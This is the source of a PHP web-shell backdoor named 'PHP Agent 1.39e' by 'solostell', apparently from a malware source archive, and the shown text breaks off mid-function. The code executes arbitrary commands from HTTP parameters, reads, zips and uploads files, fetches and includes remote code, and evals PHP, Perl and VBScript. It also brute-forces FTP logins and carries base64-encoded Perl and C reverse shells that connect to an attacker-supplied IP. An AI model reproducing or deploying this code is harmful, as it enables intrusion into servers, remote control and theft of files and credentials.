vxug-MalwareSourceCode/PHP/Backdoor.PHP.Solostell.a.e

1493 lines
41 KiB
Plaintext
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
$version = "PHP Agent Version 1.39e (c) ".'s'.'o'.'l'.'o'.'s'.'t'.'e'.'l'.'l'." 2007";
function command($cfe)
{
$res = '';
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = @join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}
function get_temp_filename()
{
global $unix;
$uqt = "tmpU4g764t";
if ($unix)
{
$tmpfname = @tempnam("/tmp", "tmp");
if (!$tmpfname) $tmpfname = "/tmp/$uqt";
$tmpfile = @fopen($tmpfname,"wb");
if (!$tmpfile)
{
$tmpfname = @tempnam("/var/tmp", "tmp");;
$tmpfile = @fopen($tmpfname,"wb");
}
if (!$tmpfile)
{
$tmpfname = "/var/tmp/$uqt";
$tmpfile = @fopen($tmpfname,"wb");
}
if (!$tmpfile)
{
$tmpfname = "./$uqt";
$tmpfile = @fopen($tmpfname,"wb");
}
if ($tmpfile)
{
@fclose ($tmpfile);
@unlink ($tmpfname);
return $tmpfname;
} else {
return "/tmp/tmpU4g764t";
}
} else {
$tmpdir = getenv("TEMP");
if (empty($tmpdir)) $tmpdir = getenv("TMP");
if (empty($tmpdir)) $tmpdir = "C:\\WINDOWS\\TEMP";
$tmpfname = @tempnam($tmpdir, "tmp");
$tmpfile = @fopen($tmpfname,"wb");
if (!$tmpfile)
{
$tmpfname = "$tmpdir\\$uqt";
$tmpfile = @fopen($tmpfname,"wb");
}
if (!$tmpfile)
{
$tmpfname = ".\\$uqt";
$tmpfile = @fopen($tmpfname,"wb");
}
if ($tmpfile)
{
@fclose ($tmpfile);
@unlink ($tmpfname);
return $tmpfname;
} else {
return "C:\\WINDOWS\\TEMP\\$uqt";
}
}
}
function to_win_name($filename)
{
return preg_replace("/\//", "\\", $filename);
}
function eat_file($filename)
{
global $safe_mode;
global $unix;
$contents = '';
if ($handle = @fopen($filename, "rb"))
{
while (!@feof($handle)) {
$contents .= fread($handle, 8192);
}
@fclose($handle);
} else
{
if (!$safe_mode)
{
$tmpfname = get_temp_filename();
$win_name = to_win_name($filename);
if ($unix) command ("cp '$filename' $tmpfname");
else command ("copy \"$win_name\" $tmpfname");
if ($handle = @fopen($tmpfname, "rb"))
{
while (!@feof($handle)) {
$contents .= fread($handle, 8192);
}
@fclose($handle);
} else {
if ($unix) $contents = command("cat '$filename'");
else $contents = command("type \"$win_name\"");
}
@unlink($tmpfname);
}
}
return $contents;
}
function create_file($fname,$text)
{
$w_file = @fopen($fname,"wb");
if($w_file)
{
@fputs($w_file,$text);
@fclose($w_file);
} else
return false;
return true;
}
function create_file_base64($fname,$text)
{
$w_file=@fopen($fname,"wb");
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
} else
return false;
return true;
}
function which($pr)
{
$path = command("which $pr");
if (!empty($path)) { return $path; } else { return $pr; }
}
class createZip {
var $compressedData = array();
var $centralDirectory = array(); // central directory
var $endOfCentralDirectory = "\x50\x4b\x05\x06\x00\x00\x00\x00"; //end of Central directory record
var $oldOffset = 0;
function addFile($data, $directoryName) {
$directoryName = str_replace("\\", "/", $directoryName);
$feedArrayRow = "\x50\x4b\x03\x04";
$feedArrayRow .= "\x14\x00";
$feedArrayRow .= "\x00\x00";
$feedArrayRow .= "\x08\x00";
$feedArrayRow .= "\x00\x00\x00\x00";
$uncompressedLength = strlen($data);
$compression = crc32($data);
$gzCompressedData = gzcompress($data);
$gzCompressedData = substr( substr($gzCompressedData, 0, strlen($gzCompressedData) - 4), 2);
$compressedLength = strlen($gzCompressedData);
$feedArrayRow .= pack("V",$compression);
$feedArrayRow .= pack("V",$compressedLength);
$feedArrayRow .= pack("V",$uncompressedLength);
$feedArrayRow .= pack("v", strlen($directoryName) );
$feedArrayRow .= pack("v", 0 );
$feedArrayRow .= $directoryName;
$feedArrayRow .= $gzCompressedData;
$feedArrayRow .= pack("V",$compression);
$feedArrayRow .= pack("V",$compressedLength);
$feedArrayRow .= pack("V",$uncompressedLength);
$this -> compressedData[] = $feedArrayRow;
$newOffset = strlen(implode("", $this->compressedData));
$addCentralRecord = "\x50\x4b\x01\x02";
$addCentralRecord .="\x00\x00";
$addCentralRecord .="\x14\x00";
$addCentralRecord .="\x00\x00";
$addCentralRecord .="\x08\x00";
$addCentralRecord .="\x00\x00\x00\x00";
$addCentralRecord .= pack("V",$compression);
$addCentralRecord .= pack("V",$compressedLength);
$addCentralRecord .= pack("V",$uncompressedLength);
$addCentralRecord .= pack("v", strlen($directoryName) );
$addCentralRecord .= pack("v", 0 );
$addCentralRecord .= pack("v", 0 );
$addCentralRecord .= pack("v", 0 );
$addCentralRecord .= pack("v", 0 );
$addCentralRecord .= pack("V", 32 );
$addCentralRecord .= pack("V", $this -> oldOffset );
$this -> oldOffset = $newOffset;
$addCentralRecord .= $directoryName;
$this -> centralDirectory[] = $addCentralRecord;
}
function getZippedfile() {
$data = implode("", $this -> compressedData);
$controlDirectory = implode("", $this -> centralDirectory);
return
$data.
$controlDirectory.
$this -> endOfCentralDirectory.
pack("v", sizeof($this -> centralDirectory)).
pack("v", sizeof($this -> centralDirectory)).
pack("V", strlen($controlDirectory)).
pack("V", strlen($data)).
"\x00\x00";
}
}
function compress(&$filedump)
{
global $content_encoding;
global $mime_type;
if (@function_exists('gzencode'))
{
$content_encoding = 'x-gzip';
$mime_type = 'application/x-gzip';
$filedump = @gzencode($filedump);
}
else
{
$mime_type = 'application/octet-stream';
}
}
function make_zip($files)
{
if (@function_exists('gzcompress'))
{
$zipfile = new createZip();
foreach ($files as $filename)
{
$filedump = eat_file($filename);
$zipfile->addFile($filedump, $filename); # substr($filename, 0, -4));
}
return $zipfile->getZippedfile();
} else {
#TODO: use external commands
return '';
}
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function get_cwd()
{
global $safe_mode;
global $unix;
global $HTTP_SERVER_VARS;
$res = '';
if (function_exists('getcwd'))
{
$res = @getcwd();
$res = trim($res);
}
if (empty($res) && function_exists('posix_getcwd'))
{
$res = @posix_getcwd();
}
if (empty($res) && function_exists('realpath'))
{
$res = @realpath(".");
}
if (empty($res) && !$safe_mode)
{
if ($unix)
{
$res = command("pwd");
} else {
$res = command("cd");
}
$res = trim($res);
}
if (empty($res))
{
$selfpath = '';
$selfpath = $HTTP_SERVER_VARS['SCRIPT_FILENAME'];
if (empty($selfpath)) $selfpath = $HTTP_SERVER_VARS['PATH_TRANSLATED'];
if (empty($selfpath)) $selfpath = $HTTP_SERVER_VARS['DOCUMENT_ROOT'].$HTTP_SERVER_VARS['PHP_SELF'];
if (preg_match('/^(.*)[\/\\\\]([^\/\\\\]*)$/', $selfpath, $matches))
{
$res = $matches[1];
} else {
$res = $selfpath;
}
}
if (empty($res) && $_ENV['PWD'])
{
$res = $_ENV['PWD'];
}
return $res;
}
function get_uname()
{
$res = '';
global $unix;
if (empty($res) && function_exists('php_uname'))
{
$res = @php_uname();
}
if (empty($res) && function_exists('posix_uname'))
{
$h = @posix_uname();
foreach ($h as $k=>$v)
{
$res .= "$k=$v ";
}
}
if (empty($res) && !$safe_mode)
{
if ($unix)
{
$res = command("uname -a");
} else {
$res = command("ver");
}
$res = trim($res);
}
if (empty($res))
{
$res = "$_ENV[OSTYPE] $_ENV[OS] $HTTP_SERVER_VARS[SERVER_SOFTWARE]";
}
return $res;
}
function is_unix_os()
{
$dir = @get_cwd();
$unix = 0;
if (strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
{
$uname = get_uname();
if (@eregi("win",$uname)) { $unix = 0; }
else { $unix = 1; }
}
return $unix;
}
function explode_files ($masklist, $open_dirs = false, $insert_dirnames = false)
{
$masks = preg_split("/(?<!\\\\)\s+/", $masklist, -1, PREG_SPLIT_NO_EMPTY);
$result = array();
foreach ($masks as $mask)
{
$mask = preg_replace("/\\\\ /",' ',$mask);
$glob = array();
if (@file_exists($mask))
{
$glob[] = $mask;
} else {
$glob = @glob($mask);
if (!$glob) continue;
}
foreach ($glob as $cur)
{
if (is_dir($cur) && $open_dirs)
{
$d=@dir($cur);
if ($d)
{
if ($insert_dirnames) $result[] = "$cur:";
if (@substr($cur, -1, 1) != '/') $cur .= '/';
while (false !== ($file=$d->read()) )
{
$result[] = "$cur$file";
}
$d->close();
} else { #error opening dir, treating as file
$result[] = $cur;
}
} else {
$result[] = $cur;
}
}
}
return $result;
}
function safe_dir($dir, $recursive = false, $recursive_limit = 0)
{
global $unix;
global $fast;
$res = '';
if (empty($dir)) $dir = ".";
$files = explode_files($dir,true,true);
$curdirs = array();
if (!$files) return $res;
foreach ($files as $file)
{
#if ($file=="." || $file=="..") continue;
if (@substr($file,-1,1) == ":")
{
$res .= "$file\n";
continue;
}
@clearstatcache();
if (function_exists('stat'))
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = @stat("$file");
else {
if (!isset($mtime)) $mtime = @filemtime("$file");
if (!isset($uid)) $uid = @fileowner("$file");
if (!isset($gid)) $gid = @filegroup("$file");
if (!isset($inode)) $inode = @fileinode("$file");
if (!isset($size)) $size = @filesize("$file");
}
if (!isset($size)) $size = 0;
#if(!$unix){
# $res .= date("d.m.Y H:i",$mtime);
# if(@is_dir($file)) $res .= " <DIR> "; else $res .= sprintf("% 8s ",$size);
#}
#else
{
$owner = array();
$grpid = array();
if (isset($uid))
{
if (function_exists('posix_getpwuid'))
$owner = @posix_getpwuid($uid);
else
$owner['name'] = $uid;
}
if (empty($owner['name'])) $owner['name'] = '?';
$owner['name'] = trim($owner['name']);
if (isset($gid))
{
if (function_exists('posix_getgrgid'))
$grpid = @posix_getgrgid($gid);
else
$grpid['name'] = $gid;
}
if (empty($grpid['name'])) $grpid['name'] = '?';
$grpid['name'] = trim($grpid['name']);
$res .= sprintf("% 10d ",$inode);
@preg_match('/(^|\/|\\\\)([^\/\\\\]+)$/', $file, $shortname);
if ($unix)
{
$res .= perms(@fileperms("$file"));
} else {
if (@is_dir($file)) $type = 'd';
elseif (@is_file($file)) $type = '-';
elseif (@is_link($file)) $type = 'l';
elseif ($shortname[2] == "." or $shortname[2] == "..") $type = 'd';
else $type = '?';
$res .= $type;
$res .= "rwx---";
if (!$fast)
{
$read = 0; $write = 0;
if ($type == '-')
{
if ($handle = @fopen($file,"rb"))
{
$read = 1;
fclose ($handle);
}
if ($handle = @fopen($file,"ab+"))
{
$write = 1;
fclose($handle);
}
} elseif ($type == 'd')
{
$unique_name = "$file/87never_exists_anywhere54";
if ($handle = @fopen($unique_name, "w+"))
{
$write = 1;
@fclose($handle);
@unlink($unique_name);
}
if ($handle = @opendir($file))
{
$read = 1;
@closedir($handle);
}
}
if ($read) $res .= "r"; else $res .= "-";
if ($write) $res .= "w"; else $res .= "-";
$res .= "x";
} else {
$res .= "???";
}
}
$res .= sprintf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grpid['name'],$size);
$res .= date("d.m.Y H:i ",$mtime);
}
$res .= "$shortname[2]\n";
if (@is_dir("$file"))
{
if ($shortname[2] != "." && $shortname[2] != "..")
$curdirs[] = "$file";
}
}
if ($recursive)
{
foreach ($curdirs as $dirname)
{
if ($recursive_limit <= 0)
{
$res .= "\n";
$res .= safe_dir($dirname, $recursive);
} else {
if ($recursive_limit > 1)
{
$res .= "\n";
$res .= safe_dir($dirname, $recursive, $recursive_limit-1);
}
}
}
}
return $res;
}
function DirFilesR($dir,$types='')
{
global $safe_mode;
$files = Array();
$mark_as_accessable = 0;
if(($handle = @opendir($dir)))
{
while (false !== ($file = @readdir($handle)))
{
if ($file != "." && $file != "..")
{
if (!empty($file) && !$mark_as_accessable)
{
$mark_as_accessable = 1;
$files[] = '';
}
if(@is_dir($dir."/".$file))
$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
else
{
if($types)
{
$pos = @strrpos($file,".");
$ext = @substr($file,$pos,@strlen($file)-$pos);
if(@in_array($ext,explode(';',$types)))
$files[] = $dir."/".$file;
}
else
$files[] = $dir."/".$file;
}
}
}
@closedir($handle);
}
if (!$files && !$safe_mode && !$mark_as_accessable)
{
$listing = command ("ls -1Ra $dir");
$lines = explode("\n", $listing);
$curdir = $dir;
foreach ($lines as $line)
{
$line = trim($line);
if (empty($line)) continue;
if ($line == "." || $line == "..") continue;
if (!$mark_as_accessable)
{
$mark_as_accessable = 1;
$files[] = '';
}
if (preg_match("/^(.*):$/",$line,$matches))
{
$curdir = $matches[1];
} else {
if($types)
{
$pos = @strrpos($line,".");
$ext = @substr($line,$pos,@strlen($line)-$pos);
if(@in_array($ext,explode(';',$types)))
$files[] = "$curdir/$line";
} else
$files[] = "$curdir/$line";
}
}
}
return $files;
}
function ReadRegistry($path)
{
#reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache"
}
function U_value($value)
{
if ($value == '') return '';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return $value;
}
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
#####################################################################
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_REQUEST= &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_GET as $k=>$v)
{
$_GET[$k] = stripslashes($v);
}
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_REQUEST as $k=>$v)
{
$_REQUEST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if (function_exists('error_reporting')) @error_reporting(0);
if (function_exists('set_magic_quotes_runtime')) @set_magic_quotes_runtime(0);
if (function_exists('set_time_limit')) @set_time_limit(0);
if (function_exists('ini_set'))
{
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
#TODO: if version 4.2.3 - 4.0.3.
# @ini_set('upload_max_filesize',"100M");
# if (@ini_get('file_uploads') == false) @ini_set('file_uploads',true);
}
global $safe_mode;
if (function_exists('ini_get'))
{
$safe_mode = @ini_get('safe_mode');
} else {
$safe_mode = 0;
}
global $unix;
$unix = is_unix_os();
if (function_exists('umask'))
{
$umask = 0755;
}
$envelope = isset($_REQUEST['envelope']);
#####################################################################
if ($envelope)
{
echo '__START__9034785902347509238476034857607834__START__';
}
global $output;
$output = '';
global $compress;
$compress = empty($_REQUEST['compress']) ? 0 : $_REQUEST['compress'];
global $use_exec;
$use_exec = empty($_REQUEST['use_exec']) ? 0 : $_REQUEST['use_exec'];
global $fast;
$fast = empty($_REQUEST['rfast']) ? 0 : $_REQUEST['rfast'];
if (!empty($_REQUEST['not_exec']) && $_REQUEST['not_exec']) $safe_mode = 1;
$scmd = empty($_REQUEST['spec']) ? '' : $_REQUEST['spec'];
if (empty($scmd))
$scmd = empty($_REQUEST['scmd']) ? '' : $_REQUEST['scmd'];
$cfe = empty($_REQUEST['cfe']) ? '' : $_REQUEST['cfe'];
if (empty($cfe))
$cfe = empty($_REQUEST['rcmd']) ? '' : $_REQUEST['rcmd'];
$ffr = empty($_REQUEST['rfile']) ? '' : $_REQUEST['rfile'];
$ffrs = empty($_REQUEST['rfiles']) ? '' : $_REQUEST['rfiles'];
$dfr = empty($_REQUEST['rdir']) ? '' : $_REQUEST['rdir'];
$dfra = empty($_REQUEST['rdirall']) ? '' : $_REQUEST['rdirall'];
$info = empty($_REQUEST['rinfo']) ? '' : $_REQUEST['rinfo'];
if (!empty($HTTP_POST_FILES['userfile']['name']))
{
if(!empty($_REQUEST['rname']))
{
$nfn = $_REQUEST['rname'];
} else {
$nfn = $HTTP_POST_FILES['userfile']['name'];
}
$tmp_name = $HTTP_POST_FILES['userfile']['tmp_name'];
$tmp_size = $HTTP_POST_FILES['userfile']['size'];
$upload_file = @fopen($tmp_name, "rb");
if ($upload_file) $target_file = @fopen($nfn, "wb");
if ($target_file && $upload_file && !$use_exec)
{
$write_data = @fread($upload_file, $tmp_size);
@fwrite($target_file, $write_data);
@fclose($target_file);
@fclose($upload_file);
echo "1\n$nfn upload by fwrite ok";
} else {
if ($target_file) @fclose($target_file);
if ($upload_file) @fclose($upload_file);
if (!$use_exec && @copy($tmp_name, $nfn))
{
echo "1\n$nfn upload by copy ok";
} else {
$cmd = "cp $tmp_name $nfn 2>&1";
echo "@copy failed. Trying $cmd\n";
$cpres = command($cmd);
if (empty($cpres))
{
echo "1\n$nfn upload by cp ok";
} else {
$cmd = "cat $tmp_name >$nfn";
echo "cp failed. Trying $cmd\n";
$cpres = command($cmd);
if (@filesize($nfn) == $tmp_size)
{
echo "1\n$name upload by cat ok";
} else {
echo "0\n$name upload error";
}
}
}
}
}
if (!empty($scmd))
{
if ($scmd == "upload-agent" || $scmd == "upload-data" || $scmd == "upload-url")
{
$agent = '';
if ($scmd == "upload-agent")
{
$aagent = @file(__FILE__);
$agent = @join("", $aagent);
} elseif ($scmd == "upload-data") {
$agent = $_REQUEST['data'];
} elseif ($scmd == "upload-url") {
$agent = @file_get_contents($_REQUEST['rurl']);
}
if (empty($agent))
{
echo "error downloading data\n";
}
if (!empty($agent))
{
$name = $_REQUEST['rname'];
if (empty($name))
{
$name = "agent.php";
}
$file = '';
if (!$use_exec)
$file = @fopen($name,"wb");
if ($file)
{
@fwrite($file, $agent);
@fclose($file);
echo "1\n$name upload ok";
} else {
print "php file restriction is on\n";
$tmpfname = get_temp_filename();
if ($tmpfile = @fopen($tmpfname, "wb"))
{
@fwrite($tmpfile, $agent);
@fclose($tmpfile);
} elseif (!$safe_mode) {
echo "can't open for write any temp file $tmpfname\n";
$esc_agent = @escapeshellarg($agent);
command("echo $esc_agent >$tmpfname");
}
if (!$use_exec && @copy($tmpfname, $name))
{
echo "1\n$name upload ok";
} else {
if (!$safe_mode)
{
$cmd = "cp $tmpfname $name 2>&1";
if (!$unix) $cmd = "copy $tmpfname $name";
echo "@copy failed. Trying $cmd\n";
$cpres = command($cmd);
if (empty($cpres))
{
echo "1\n$name upload ok";
} elseif (!$safe_mode) {
$cmd = "cat $tmpfname >$name";
if (!$unix) $cmd = "type $tmpfname >$name";
echo "cp failed. Trying $cmd\n";
$cpres = command($cmd);
if (@file_exists($name))
{
echo "1\n$name upload ok";
} else {
echo "0\n$name upload error";
}
}
}
}
@unlink($tmpfname);
}
}
}
if ($scmd == "rm")
{
$masks = $_REQUEST['rname'];
if (!empty($masks))
{
$files = explode_files($masks);
foreach ($files as $file)
{
if ($use_exec || !@unlink($file))
{
if ($unix)
{
$output .= command("rm -f $file");
} else {
$output .= command("del /Q $file");
}
}
}
}
}
if ($scmd == "cp")
{
$name1 = $_REQUEST['rname1'];
$name2 = $_REQUEST['rname2'];
if (!empty($name1) && !empty($name2))
{
if ($use_exec || !@copy($name1, $name2))
{
if ($unix)
{
$output .= command("cp -f $name1 $name2");
} else {
$output .= command("copy /Y $name1 $name2");
}
}
}
}
if ($scmd == "mv")
{
$name1 = $_REQUEST['rname1'];
$name2 = $_REQUEST['rname2'];
if (!empty($name1) && !empty($name2))
{
if ($use_exec || !@rename($name1, $name2))
{
if ($unix)
{
$output .= command("mv -f $name1 $name2");
} else {
$output .= command("move /Y $name1 $name2");
}
}
}
}
if ($scmd == "rmdir")
{
$name = $_REQUEST['rname'];
if (!empty($name))
{
if ($use_exec || !@rmdir($name))
{
$output .= command("rmdir $name");
}
}
}
if ($scmd == "mkdir")
{
$name = $_REQUEST['rname'];
if (!empty($name))
{
if ($use_exec || !@mkdir($name))
{
$output .= command("mkdir $name");
}
}
}
if ($scmd == "chmod")
{
$mode = $_REQUEST['rmode'];
$masks = $_REQUEST['rname'];
if (!empty($masks) && !empty($mode))
{
$files = explode_files($masks);
foreach ($files as $name)
{
if ($use_exec || !@chmod($name,$mode))
{
$output .= command("chmod $mode $name");
}
}
}
}
if ($scmd == "chown")
{
$owner = $_REQUEST['rowner'];
$masks = $_REQUEST['rname'];
if (!empty($masks) && !empty($owner))
{
$files = explode_files($masks);
foreach ($files as $name)
{
if ($use_exec || !@chown($name,$owner))
{
$output .= command("chown $owner $name");
}
}
}
}
if ($scmd == "chgrp")
{
$masks = $_REQUEST['rname'];
$grp = $_REQUEST['rgrp'];
if (!empty($masks) && !empty($grp))
{
$files = explode_files($masks);
foreach ($files as $name)
{
if ($use_exec || !@chgrp($name,$grp))
{
$output .= command("chgrp $grp $name");
}
}
}
}
if ($scmd == "back-perl")
{
$rip = $_REQUEST['rip'] ? $_REQUEST['rip'] : $_SERVER['REMOTE_ADDR'];
$rport = $_REQUEST['rport'] ? $_REQUEST['rport'] : 11457;
create_file_base64("/tmp/back",$back_connect);
$p2=which("perl");
$blah = command($p2." /tmp/back $rip $rport &");
}
if ($scmd == "back-c")
{
$rip = $_REQUEST['rip'] ? $_REQUEST['rip'] : $_SERVER['REMOTE_ADDR'];
$rport = $_REQUEST['rport'] ? $_REQUEST['rport'] : 11457;
create_file_base64("/tmp/back.c",$back_connect_c);
$blah = command("gcc -o /tmp/backc /tmp/back.c");
@unlink("/tmp/back.c");
$blah = command("/tmp/backc $rip $rport &");
}
if ($scmd == "eval-php")
{
$code = $_REQUEST['rcode'];
if (!empty($code))
{
$res = @eval ($code);
if ($res) $output = $res;
if (!empty($output))
{
if ($compress) compress($output);
echo $output;
}
}
}
if ($scmd == "eval-perl")
{
$code = $_REQUEST['rcode'];
if (!empty($code))
{
$p2 = which("perl");
$tmpfname = get_temp_filename();
create_file($tmpfname,$code);
$output = command("$p2 $tmpfname");
@unlink($tmpfname);
if (!empty($output))
{
if ($compress) compress($output);
echo $output;
}
}
}
if ($scmd == "eval-vbs")
{
$code = $_REQUEST['rcode'];
if (!empty($code))
{
$tmpfname = get_temp_filename();
create_file($tmpfname,$code);
$output = command("cscript.exe /Nologo /E:Vbscript $tmpfname");
@unlink($tmpfname);
if (!empty($output))
{
if ($compress) compress($output);
echo $output;
}
}
}
if ($scmd == "include")
{
include($_REQUEST['rurl']);
}
if ($scmd == "search")
{
$pattern = $_REQUEST['pattern'];
$grepmode = !empty($_REQUEST['grepmode']) ? $_REQUEST['grepmode'] : 0;
$files = array();
$output = '';
if (!empty($_REQUEST['tdir']))
{
$exts = $_REQUEST['exts'];
$target = $_REQUEST['tdir'];
$files = DirFilesR($target, $exts);
} elseif (!empty($_REQUEST['tfile'])) {
$files[] = $_REQUEST['tfile'];
}
if ($files)
{
foreach ($files as $file)
{
if (empty($file)) continue;
$content = eat_file($file);
if (!empty($content))
{
if ($grepmode == 0)
{
if (preg_match("$pattern", $content))
$output .= "$file\n";
} else {
$repfile = false;
if (preg_match_all("$pattern", $content, $matches, PREG_PATTERN_ORDER))
{
if ($grepmode == 2 && !$repfile)
{
$output .= "~!$file:\n";
$repfile = true;
}
$tolist = $grepmode == 3 ? $matches[1] : $matches[0];
foreach ($tolist as $match)
{
if ($grepmode == 1)
$output .= "$file:";
$output .= "$match\n";
}
}
}
}
}
} else {
$output = "??? error enumerating target dir/file!\n";
}
if ($compress) compress($output);
echo $output;
}
if ($scmd == "ftp-test")
{
$output = '';
$ftp_server = !empty($_REQUEST['fserver']) ? $_REQUEST['fserver'] : "127.0.0.1";
$ftp_port = !empty($_REQUEST['fport']) ? $_REQUEST['fport'] : 21;
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if (!$connection) {
$output .= "error connecting to $ftp_server:$ftp_port\n";
} else {
@ftp_close($connection);
$flogins = explode("\n",$_REQUEST['flogins']);
$fpasswords = explode("\n",$_REQUEST['fpasswords']);
$found = false;
foreach ($flogins as $login)
{
if (empty($login)) next;
foreach ($fpasswords as $password)
{
if (empty($password)) next;
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if (!$connection) {
$output .= "$login:$password:-1\n";
} else {
if (@ftp_login($connection,$login,$password))
{
$output .= "$login:$password:1\n";
$found = true;
break;
} else {
$output .= "$login:$password:0\n";
}
@ftp_close($connection);
}
}
if ($found) break;
}
}
}
if ($compress) compress($output);
echo $output;
}
if (!empty($cfe))
{
$output = command($cfe);
if ($compress) compress($output);
echo $output;
}
if (!empty($ffr))
{
if (!$envelope)
{
@header("Content-type: application/octet-stream");
@header("Content-disposition: attachment; filename=\"".$ffr."\";");
}
$output = eat_file($ffr);
if ($compress) compress($output);
echo $output;
}
if (!empty($ffrs))
{
if (!$envelope)
{
@header("Content-type: application/zip");
}
$ffrs = trim($ffrs);
